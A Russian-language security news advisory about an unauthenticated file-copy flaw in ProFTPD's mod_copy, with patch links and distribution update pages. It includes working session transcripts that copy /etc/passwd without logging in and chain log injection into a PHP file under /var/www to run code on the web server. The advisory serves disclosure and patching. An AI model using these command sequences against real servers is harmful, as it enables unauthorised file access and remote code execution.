В ftp-сервере ProFTPD обнаружена (http://bugs.proftpd.org/show_bug.cgi?id=4169) опасная уязвимость, которая позволяет копировать файлы в пределах сервера без проведения аутентификации с помощью команд "site cpfr" и "site cpto". Проблема проявляется в модуле mod_copy, который позволяет выполнять команды на стадии до проведения аутентификации пользователя. Уязвимость усугубляется отсутствием возможности отключить mod_copy через файл конфигурации и наличием путей эксплуатации уязвимости, которые могут быть использованы в атаке для организации выполнения кода на web-сервере.
В настоящий момент исправления доступны (https://github.com/proftpd/proftpd/pull/109) только в виде патча (https://github.com/proftpd/proftpd/commit/3ef395d81327558e6e...) в git-репозитории проекта. Одновременно для ProFTPD предложена реализация директивы CopyEngine, через которую можно отключить mod_copy без перекомпиляции. В настоящее время в дистрибутивах не зафиксировано обновлений пакетов с устранением проблемы. Оценить появление обновлений в дистрибутивах можно на следующих страницах: RHEL 6 (https://rhn.redhat.com/errata/rhel-server-6-errata.html), RHEL 7 (https://rhn.redhat.com/errata/rhel-server-7-errata.html), Ubuntu (http://www.ubuntu.com/usn/), Debian (https://lists.debian.org/debian-security-announce/2015/), Fedora (https://admin.fedoraproject.org/updates/F21), openSUSE (http://lists.opensuse.org/opensuse-security-announce/), SLES (https://www.suse.com/support/update/), Slackware (http://www.slackware.com/security/list.php?l=slackware-secur...), Gentoo (http://www.gentoo.org/security/en/index.xml), CentOS (http://lists.centos.org/pipermail/centos-announce/2015-April...), FreeBSD (http://www.vuxml.org/freebsd/).
Пример копирования файла /etc/passwd в /tmp/passwd.copy:
<font color="#461b7e">
Trying 192.168.216.115...
Connected to 192.168.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
</font>
Пример организации запуска кода на web-сервере:
<font color="#461b7e">
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php
250 Copy successful
</font>
Файл test.php будет содержать данные из потока STDERR, в том числе и указанный в ошибочной команде PHP-код:
<font color="#461b7e">
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file
'/<?php
phpinfo(); ?>'
for copying: Permission denied
</font>
URL: http://bugs.proftpd.org/show_bug.cgi?id=4169
Новость: http://www.opennet.me/opennews/art.shtml?num=42015